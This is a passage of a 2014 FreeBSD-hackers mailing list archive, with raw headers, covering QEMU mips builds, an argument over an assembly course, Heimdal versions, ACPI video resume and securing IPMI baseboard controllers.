there's no need to xbuild the i386 version now, so thanks for > that! >=20 > sean >=20 > ref https://github.com/seanbruno/qemu/tree/bsd-user >=20 >=20 And finally, thanks to peter, we have a 1bit change for 32bit mips that seems to work. https://github.com/seanbruno/qemu/commit/d62553b108aa27c0c020dbb771d29f8673= 807a3b Doing a test run now. this might mean that 32bit mips packages might exist this weekend in some form. sean --=-Di3akOeZV/gld1+wE4Nv Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAABAgAGBQJTPzTaAAoJEBkJRdwI6BaHs2oH/i0/aWrB/a1lDo1Gsq4Dr5Iu XopvIfXZqyT8PULkiRWRVYk2/0LR2u0nOAR0YE4NL4qj8YWCZ7xjeV3THels/1UR 9UMo2RJLBrZLAYhxD6U25qoqz2VoiLD9y+Mz8gX6L2R343hMfkYCriJxaR4qAPmi Yd2aX77MloG6WPLjPXfMn9DAIbL7iGLA1Rpbnh3c/4LlalxDnf7Uw5Y80byYXL9L JOlL3pEUixawxBlqCNvZLHapYg4Sf0eUkAMFWqH9a7hMc/9BUFyzo7L+mIn0MPQl NcOWyVtvtXkAlvDAO7hEN/sWMjLNNhH2LjMnkDK7LxbOB7Jyy76eZ8QGH98GWdM= =nB2+ -----END PGP SIGNATURE----- --=-Di3akOeZV/gld1+wE4Nv-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 22:53:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7BC86CC9 for ; Fri, 4 Apr 2014 22:53:37 +0000 (UTC) Received: from mail-vc0-x241.google.com (mail-vc0-x241.google.com [IPv6:2607:f8b0:400c:c03::241]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3114FCE2 for ; Fri, 4 Apr 2014 22:53:37 +0000 (UTC) Received: by mail-vc0-f193.google.com with SMTP id if11so746159vcb.4 for ; Fri, 04 Apr 2014 15:53:36 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=bsd.com.br; s=capeta; h=date:from:to:cc:subject:message-id:in-reply-to:references :organization:mime-version:content-type:content-transfer-encoding; bh=nGOLyUr3I8Iy4mpEwOd4JFrYOwALeHTURW43bBBr28s=; b=Gr0oK5/3JKsIpShzGrZWD6Q1mT3CKD+xEUrpXxugx/qOmzPmq77DAzu1u9RxjsgZX1 DUeG1isHAahgR3Ppfr+SSN/SGq4LOHCMIGf7bmxREKuoPI0rpM0F2g3wk3JUxlHvSp5t 6kKlNPRt8teJLvoHzlfn2wD5kM/9g9bgbae+Q= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:in-reply-to :references:organization:mime-version:content-type :content-transfer-encoding; bh=nGOLyUr3I8Iy4mpEwOd4JFrYOwALeHTURW43bBBr28s=; b=I8Ro7UBlbVJVu4zDlvJjL2RGtX73ydxi4EKEDTKAZD30Wabq/nSUnGtbSdtJ2G2SFn 048uhsvThUpDTifLiDPLcK4s7dAArvOwvcjITmYu43mFAjA7GLPMiSRxgnhUk8JhO2pg JOWkqth4OOLOK7mh1ki4bzeAKUwXysZeo4xb4RrFMrqjzkukZFPUTjl9xoRcjNYnNIEu zaWwx2XMfgv4RDINRAF4JZxO5ci1Jmzaa8irLphcCfemVgluRcD63HBgfJNggkjJHLCA 7HVkNdMcg0M68czcYIo39FWKrOXjNyX8RMibKmidfCLY/Elyq27KHyNF5GP8Nv5Zw2Ii gF9w== X-Gm-Message-State: ALoCoQk744DxaQYGUG9fC6XzCdxmaQyLosGlUu26D7gTe0SMAR+6KBHHLEaVg+roC4zoUPbp/+q+ X-Received: by 10.58.187.9 with SMTP id fo9mr7064825vec.4.1396652016278; Fri, 04 Apr 2014 15:53:36 -0700 (PDT) Received: from Papi ([177.41.5.211]) by mx.google.com with ESMTPSA id iu10sm20785994vdb.4.2014.04.04.15.53.35 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Fri, 04 Apr 2014 15:53:36 -0700 (PDT) Date: Fri, 4 Apr 2014 19:55:09 -0300 From: Mario Lobo To: freebsd-hackers@freebsd.org Subject: Re: Complete online course in assembly language of Randall Hyde's is really course in assembly language? Message-ID: <20140404195509.1d0ecb51@Papi> In-Reply-To: <533F348D.9020503@tysdomain.com> References: <533F348D.9020503@tysdomain.com> Organization: BSD X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd9.2) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: tyler@tysdomain.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 22:53:37 -0000 On Fri, 04 Apr 2014 18:39:09 -0400 "Littlefield, Tyler" wrote: > On 4/4/2014 4:44 PM, Jorge Luis Carvalho Santos wrote: > > blah, blah, yadah, yadah ... > > You seem to find topics since I've been here that aren't related to > BSD but that you posit in an attempt to get answers. Is your goal > really to get answers (re: stallman--why would the devs have a view), > or are you just bored and trying to start a thread of flaming. The > BSD community doesn't seem like that kind of community--maybe you > should go to ubuntu and post your claims there. > _______________________________________________ I was quietly waiting to see if someone would zoom out on this guy's posts and get a grip about what his up to. Finally! He was simply unceremoniously ignored (maybe banned, not sure) from the BR BSD list for posting subjects like these. Maybe he gets a boner out of what questions will grant him the spotlight. Who knows? -- Mario Lobo http://www.mallavoodoo.com.br FreeBSD since 2.2.8 [not Pro-Audio.... YET!!] (99% winblows FREE) "UNIX was not designed to stop you from doing stupid things, because that would also stop you from doing clever things." From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 5 01:50:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A536ED26 for ; Sat, 5 Apr 2014 01:50:30 +0000 (UTC) Received: from mail-wg0-x22d.google.com (mail-wg0-x22d.google.com [IPv6:2a00:1450:400c:c00::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4528FC51 for ; Sat, 5 Apr 2014 01:50:30 +0000 (UTC) Received: by mail-wg0-f45.google.com with SMTP id l18so4212555wgh.4 for ; Fri, 04 Apr 2014 18:50:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=usBCGgYqixHiMQY92HLKS88bIwsyq4pW7cQPPwFH8Ac=; b=UwSp3KLqJIKzhqgHxuDhvcy4et21pHYQqzJSyJFHQ7RHyx29epZPbb5FNXh6q4rX60 WcdM8qyhdYunq6Ru0Fc/kNvE3rkKSosmi+fjj7DGdsXind8oPUKGaIa48mBApDfu8Wq9 7uF4sIYFE4ZN0ZC9Qz0OP6TG7VGJxuK2b85GewUXtAtW61iMD3vQYrLXKhDqs0ZMHpWl 35wZxQlCspQXONC7cwE3tUPnaOP4+sLAMIMoDeKaryop5w6Zpd/1spMBbh2JmWXyAPB3 P6UIoz4NeTrdiCoHe1QO18wjvWgAxHT9B3TySkM/cxiTYZm54hbMtuTg69ftFtvP1dTU Jq7A== MIME-Version: 1.0 X-Received: by 10.180.206.16 with SMTP id lk16mr8638629wic.3.1396662628643; Fri, 04 Apr 2014 18:50:28 -0700 (PDT) Received: by 10.14.214.65 with HTTP; Fri, 4 Apr 2014 18:50:28 -0700 (PDT) Date: Fri, 4 Apr 2014 21:50:28 -0400 Message-ID: Subject: Heimdal in Base From: Robert Simmons To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Apr 2014 01:50:30 -0000 The Heimdal project released their new version quite a while back. They seem to have stopped updating their main website, but the project's code repository is showing 1.5.3: https://github.com/heimdal/heimdal/tree/heimdal-1.5.3 Is there a plan to pull this version into BASE? From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 5 01:57:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 04934E81; Sat, 5 Apr 2014 01:57:29 +0000 (UTC) Received: from mail0.glenbarber.us (mail0.glenbarber.us [208.86.227.67]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "*.glenbarber.us", Issuer "RapidSSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CAB60CEB; Sat, 5 Apr 2014 01:57:28 +0000 (UTC) Received: from glenbarber.us (c-71-224-221-174.hsd1.nj.comcast.net [71.224.221.174]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) (Authenticated sender: gjb) by mail0.glenbarber.us (Postfix) with ESMTPSA id 6A38AC23A; Sat, 5 Apr 2014 01:57:27 +0000 (UTC) DKIM-Filter: OpenDKIM Filter v2.8.3 mail0.glenbarber.us 6A38AC23A Authentication-Results: mail0.glenbarber.us; dkim=none reason="no signature"; dkim-adsp=none Date: Fri, 4 Apr 2014 21:57:25 -0400 From: Glen Barber To: Robert Simmons Subject: Re: Heimdal in Base Message-ID: <20140405015725.GW14379@glenbarber.us> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="1X1uH+Y+uHyMJls4" Content-Disposition: inline In-Reply-To: X-Operating-System: FreeBSD 11.0-CURRENT amd64 X-SCUD-Definition: Sudden Completely Unexpected Dataloss X-SULE-Definition: Sudden Unexpected Learning Event User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Apr 2014 01:57:29 -0000 --1X1uH+Y+uHyMJls4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 04, 2014 at 09:50:28PM -0400, Robert Simmons wrote: > The Heimdal project released their new version quite a while back. > They seem to have stopped updating their main website, but the > project's code repository is showing 1.5.3: >=20 > https://github.com/heimdal/heimdal/tree/heimdal-1.5.3 >=20 > Is there a plan to pull this version into BASE? Not to sound repetitive, but... http://lists.freebsd.org/pipermail/freebsd-hackers/2014-March/044701.html Glen --1X1uH+Y+uHyMJls4 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBCAAGBQJTP2MFAAoJELls3eqvi17Qm9YQAMDWyaV601g46FRlmwAwg7Pf kk5Oi5MWIpVV8nIZlN9yQ/2jWlEW4izNI5htNeyzZKZXbOFW/Q4/ALoClRbVUxot zbu+ACDjeaOPOZjzRL6Ep5ZnWt/f2xviR/V4CMq5io2jDRc/XHGRRG/kqaM+p4Ng EQv95w6mLRb19aGtyg3UbV19L/Ud7ZTFQnye/tTHQZONDi26cIEUBSEyOkrTPhz5 hKFQYpRXJWXYbbI9Csi4PHYWGZlgFUd8YTt2JJBE0UQNPDmA3iUpPrTvwdc3xKV+ 0Qkdh9D60PbYexkCBhtSwguuzNLPxMekN9M0rcn07aD0K07ImQ8sXAKholhqcHJ+ G850kPlRPwmwhVjoASItTR9K2H+cyjILvnpaWNkCyxWRuFQ62I1Yp+1I/bfK11c0 gXxaaxuiRtXUCNGN9yHWlxefw3AIt2GlQorct/m7brHh6dopUDwYXwXOf9KK94vh 3k4lc9u+V5fFyoDZH+ngMdMGjVZw4SL6iRJmrt4diGk70dcMQH2ahGfQc8te/oz1 TkztvTWtwXQubv5F+UlS2n5kiM+4/RQHxUGh3un0AoEu5DnZMWLniSX0+Rlg1WjX UrylN94IZBuTXrHxcH/PppFdc5RZSdNiNDBAMVrvuyi6Sq3jxqRG1t+nDljij7bv AkHCIpXNUOwYTs8E4Pbt =Nb6f -----END PGP SIGNATURE----- --1X1uH+Y+uHyMJls4-- From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 5 02:24:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0C9D12CA for ; Sat, 5 Apr 2014 02:24:30 +0000 (UTC) Received: from jerrymc.net (jerrymc.net [75.75.214.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A9180EF5 for ; Sat, 5 Apr 2014 02:24:29 +0000 (UTC) Received: from jerrymc.net (localhost [127.0.0.1]) by jerrymc.net (8.14.5/8.14.5) with ESMTP id s3525M8p046286; Fri, 4 Apr 2014 22:05:22 -0400 (EDT) (envelope-from jerrymc@jerrymc.net) Received: (from jerrymc@localhost) by jerrymc.net (8.14.5/8.14.5/Submit) id s3525MMb046285; Fri, 4 Apr 2014 22:05:22 -0400 (EDT) (envelope-from jerrymc) Date: Fri, 4 Apr 2014 22:05:22 -0400 From: Jerry McAllister To: "Littlefield, Tyler" Subject: Re: Complete online course in assembly language of Randall Hyde's is really course in assembly language? Message-ID: <20140405020522.GA46258@jerrymc.net> References: <533F348D.9020503@tysdomain.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <533F348D.9020503@tysdomain.com> User-Agent: Mutt/1.4.2.3i Cc: "freebsd-hackers@freebsd.org" , Jorge Luis Carvalho Santos X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Apr 2014 02:24:30 -0000 On Fri, Apr 04, 2014 at 06:39:09PM -0400, Littlefield, Tyler wrote: > On 4/4/2014 4:44 PM, Jorge Luis Carvalho Santos wrote: > > Complete online course in assembly language of Randall Hyde's is really > course in assembly language? > Is written in FreeBSD Developers' Handbook: > "This chapter does not explain the basics of assembly language.There are > enough resources about that (for a complete online course in assembly > language, see Randall Hyde's Art of Assembly Language;" > http://www.freebsd.org/doc/en_US.ISO8859-1/books/developers-handbook/x86.html > > The biggest gripe I have with this book is that it teaches ?High Level > Assembly?, essentially an entirely different language from assembly, built > using assembly macros. It?s great maybe if you have no programming > experience what so ever?although even then I don?t know why you would learn > HLA instead of a real language. > Learning HLA instead of assembly is frustrating for learn the true Assembly. > Here in spite of the indication that this post was probably just a troll hit. That makes it good. The onlyt reasonable way to program in assembly is to make significant use of macros and once a reasonable set of macros are developed, one should no longer be using machine code except in some unusual circumstances. ////jerry From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 5 07:17:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B9104195 for ; Sat, 5 Apr 2014 07:17:47 +0000 (UTC) Received: from dd16522.kasserver.com (dd16522.kasserver.com [85.13.137.124]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7A2B59E5 for ; Sat, 5 Apr 2014 07:17:47 +0000 (UTC) Received: from mx12.chaot.net (82.131.86.36.cable.starman.ee [82.131.86.36]) by dd16522.kasserver.com (Postfix) with ESMTPSA id 1D5E74560E2 for ; Sat, 5 Apr 2014 09:17:44 +0200 (CEST) Received: from localhost (1003@localhost [local]); by localhost (OpenSMTPD) with ESMTPA id 625576d4; for ; Sat, 5 Apr 2014 10:17:42 +0300 (EEST) Date: Sat, 5 Apr 2014 10:17:42 +0300 From: Johannes Meixner To: freebsd-hackers@freebsd.org Subject: hw.acpi.reset_video behavior when multiple VGA cards are present Message-ID: <20140405071627.GA83459@mx12.chaot.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="pQhZXvAqiZgbeUkD" Content-Disposition: inline User-Agent: Mutt/1.5.23 (2014-03-12) X-Mailman-Approved-At: Sat, 05 Apr 2014 11:33:30 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Apr 2014 07:17:47 -0000 --pQhZXvAqiZgbeUkD Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi, I've originally posted the following to freebsd-acpi@ in February but didn'= t get any replies, so maybe someone here can help me out. I've been trying to work out why my ASUS ZenBook can't work correctly with = S3 sleepstates. Resume works theoretically like a charm (I suspend with music playing; the = music stops and continues upon wakeup; I can reboot the system blindly from comma= nd line).=20 One thing that does not, however, is VGA resume. The screen will just stay blank.=20 So I looked into it a little and realized -- what's the expected behaviour towards video reset when multiple VGA cards are present (NVIDIA Optimus)=20 with vgapci0 being the (unusable) NVIDIA board and vgapci1 the (usable with= =20 Xorg, vt(9), KMS etc) Intel one? As in, which card does `hw.acpi.reset_video` actually reset the video on? Best Johannes --=20 xmj@chaot.net http://xmj.me --pQhZXvAqiZgbeUkD Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTP64WAAoJEAy1bITjfmSMsLYQAIqlapkeIyu8YhrhmFSs1H3A vevPSrlohi4YP9dD3a6t8NR4xKjtsC0ZiyUY5erCaI03DhRat8H5OJu3EJNfZbgO 2PgHMcPsd4OiAdYB7zifd0KfyIx31dF6f7Tt8xWqmbYOWqixoOtX0KuMnjIo6VcV CKqNNSCUbUXBv0NKwcIfDsB+tJN/F8qGrCMW6koKVWeZQNVMyTE57u62t4+R9kLT kCfxWNS16aL+Hmbec6h8xr3NVwZLboHBpeX5goXu8s8kBOMeWnkTEph5eGqMeiLw SG8kaazbw9RGk1EtqQ1YEo+2rkU5Ow/6xqFOzcR+8MIpIAzsJu5xPkxnfQTBVfMo V2WFCGVq+n2VBIjLpLiMmDY+jZc/c1H6LCtkE4IRQl5N6auqTEccaoNTPfBT6X4a GYZ4ZlgHm6O+//DsufXGn3nOd4VweRlhlnx4v5dwXpi2muIvMl9aHrbPYzOqS7ra 6YmX7qn+OS0TUo4TT4TdqmtaO8o/gk54MiKjrSTaohubBj0tTE5I7a+eARduSkaT zZxjZfqxEegYdYSUWHSBO365yAijN5Nd7TTwctitcRtaIHVLgx1PgGfxAZp19cpu U55TxoBQIOmYjSnxXAfakJMmGh9SO+DQAmYUlhvY+fz2zir1EE1inCOD81g9MgCI y1Ccl5ZPufcghG8H+lwt =CG7X -----END PGP SIGNATURE----- --pQhZXvAqiZgbeUkD-- From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 5 15:00:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8AA67155 for ; Sat, 5 Apr 2014 15:00:30 +0000 (UTC) Received: from cdptpa-oedge-vip.email.rr.com (cdptpa-outbound-snat.email.rr.com [107.14.166.232]) by mx1.freebsd.org (Postfix) with ESMTP id 50926A91 for ; Sat, 5 Apr 2014 15:00:29 +0000 (UTC) Received: from [74.73.125.121] ([74.73.125.121:52503] helo=janus.anserinae.net) by cdptpa-oedge02 (envelope-from ) (ecelerity 3.5.0.35861 r(Momo-dev:tip)) with ESMTP id 95/82-29374-C8A10435; Sat, 05 Apr 2014 15:00:28 +0000 Received: from JANUS.anserinae.net ([fe80::192c:4b89:9fe9:dc6d]) by janus.anserinae.net ([fe80::192c:4b89:9fe9:dc6d%11]) with mapi id 14.03.0174.001; Sat, 5 Apr 2014 11:00:27 -0400 From: Kamil Choudhury To: "freebsd-hackers@freebsd.org" Subject: Securing baseboard managers Thread-Topic: Securing baseboard managers Thread-Index: Ac9Q2ke/fqCmNY6oT52vpa4iQl8flw== Date: Sat, 5 Apr 2014 15:00:26 +0000 Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [192.168.0.21] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-RR-Connecting-IP: 107.14.168.130:25 X-Cloudmark-Score: 0 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Apr 2014 15:00:30 -0000 First, a quick story.=20 A new motherboard I just bought has one of those out of band management=20 Ethernet ports. When I connected it into my cable router, despite the=20 cord being plugged into the non-baseboard Ethernet port, the baseboard=20 grabbed my public IP (I use this box as a router) instead of FreeBSD.=20 So. I exposed the baseboard's janky operating system running god knows=20 what ancient version of Linux to the internet, and momentarily gave all=20 comers (the credentials were, of course, admin/admin) the power to=20 remotely reboot my computer. Yikes.=20 The stakes here were low: I was at home, and there's really nothing all=20 that valuable on my network. But at the end of the day, these baseboard controllers are running unmanaged, unaudited code on our networks, and=20 that scares me.=20 So...my questions:=20 1/ How do you protect yourself against this kind of vulnerability? Am I paranoid for even thinking this is a problem?=20 2/ While out of band management is useful, I just can't bring myself to=20 trust software that seems to have been written by poo-flinging monkeys (seriously, you need to see the browser-based UI they provide: frames! ! Java applets!). Is there any way to replace the vendor provided=20 solution with something more auditable and configurable? Maybe a teeny-tiny= =20 BSD-based distribution?=20 I spend my days doing application development, so I am probably missing=20 a lot of perspective that more systems-oriented people have. If my=20 questions are ridiculous, feel free to tell me so and send me on my way! Thanks in advance,=20 Kamil From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 5 15:55:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DC14AFDF for ; Sat, 5 Apr 2014 15:55:04 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id BC22BF4C for ; Sat, 5 Apr 2014 15:55:04 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id 326AE736A9; Sat, 5 Apr 2014 08:55:04 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 05036-02; Sat, 5 Apr 2014 08:55:04 -0700 (PDT) Received: from [10.8.0.26] (unknown [10.8.0.26]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 218C9736A3; Sat, 5 Apr 2014 08:54:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1396713303; bh=27YqxsBTKLxUsJ/48y5vx26W3QP4rLZM1LM9vNbCeVk=; h=Subject:From:In-Reply-To:Date:Cc:References:To; b=kiN7VeJMcBjRhrckwaKOdJLZrF9lyUvTAQ3chkOX955FEk5NDW6N62Zk3jGz14p8G 1wuKVKjZ2cnogkfjg5f03p8vf3wD5QBQ5WhKP2A/6fMwkn26Xj3UyXEWKcWOHz2X31 ViliERGo4R4+CcwiLCmz2uXIze6Ff/GnsGiZzCZk= Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Securing baseboard managers From: Jordan Hubbard In-Reply-To: Date: Sat, 5 Apr 2014 20:54:53 +0500 Content-Transfer-Encoding: quoted-printable Message-Id: References: To: Kamil Choudhury X-Mailer: Apple Mail (2.1874) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Apr 2014 15:55:04 -0000 On Apr 5, 2014, at 8:00 PM, Kamil Choudhury = wrote: > I spend my days doing application development, so I am probably = missing=20 > a lot of perspective that more systems-oriented people have. If my=20 > questions are ridiculous, feel free to tell me so and send me on my = way! All IPMI implementations suck. It is axiomatic. It is not, however, an = easy problem to fix - you can=92t just cobble together a tiny BSD = distribution and whap it into place any more than you can trivially = replace your motherboard's BIOS with something that works compatibily in = all respects with things that expect a standard BIOS (or an even only = vaguely standard IPMI implementation). There are hooks into = motherboard-specific sensors, weird console redirection hacks, it=92s = very very black magic. Which is also why Java applets are involved. To remotely render an = interactive console in someone=92s browser, where said browser could be = any one of 6 different flavors, you have to lean pretty heavily on the = client side - especially if you want to offer tricks like virtual = CD-to-local-ISO mapping (which is pretty handy). =46rom the security side, most reasonable motherboards don=92t feature = NIC sharing as the only option. Many offer dedicated IPMI ports, which = means you don=92t have to expose them to the big bad internet unless you = really really want to, and you can also elect to make a shared NIC = dedicated to IPMI and just plug in an external NIC if you=92re trying to = make a router out of the box. That=92s generally what I do. - Jordan From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 5 20:11:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BA442476; Sat, 5 Apr 2014 20:11:57 +0000 (UTC) Received: from mail-la0-x22f.google.com (mail-la0-x22f.google.com [IPv6:2a00:1450:4010:c03::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 13E079A0; Sat, 5 Apr 2014 20:11:56 +0000 (UTC) Received: by mail-la0-f47.google.com with SMTP id pn19so3536163lab.34 for ; Sat, 05 Apr 2014 13:11:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=fSDWazIh4p4R7/KwkU7RH7IwZxQrebZphgyLxKUYkNM=; b=SQxavgqHKe37vj/slcLnBK0bak6U34Vsk5GY3srvITZWY2MEP0frF02lA7ILQ+nYL1 qv9nC1S9rs/9/IsFEXMgFTQNtomMVHVWP9/Z4KZ6EEeGRwmtR37SPWfUBXsDEFKB8A9L 3X+NQOgfFih4B0asNYwZ7j328jBkSIMD5mAH6NnFghrxH5+rhVU/ppc5HEFZlhI7qYOO Q8Ho4JtxwgsVt/t2IlnJIzk8lO2hot0QhDnUXI+oyXo6r1EzDw9Xk5C6ePDIb63RWutx 7nOQXCizGZTK7oPimMIYsT6jShZiy/ETedDWxlJKmIcBEEm/kg5+XUEgC//Qtnyr6n0P E2gA== X-Received: by 10.152.42.230 with SMTP id r6mr3015235lal.32.1396728715001; Sat, 05 Apr 2014 13:11:55 -0700 (PDT) Received: from [10.0.1.9] (ip-95-220-108-153.bb.netbynet.ru. [95.220.108.153]) by mx.google.com with ESMTPSA id g8sm11679684laf.0.2014.04.05.13.11.52 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 05 Apr 2014 13:11:52 -0700 (PDT) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: madvise() vs posix_fadvise() From: Dmitry Sivachenko In-Reply-To: <5426E303-E35B-4D4A-AB62-3571228A5A2C@gmail.com> Date: Sun, 6 Apr 2014 00:11:51 +0400 Content-Transfer-Encoding: quoted-printable Message-Id: <8DAE3175-FE32-4D17-A386-063DDB6C45F7@gmail.com> References: 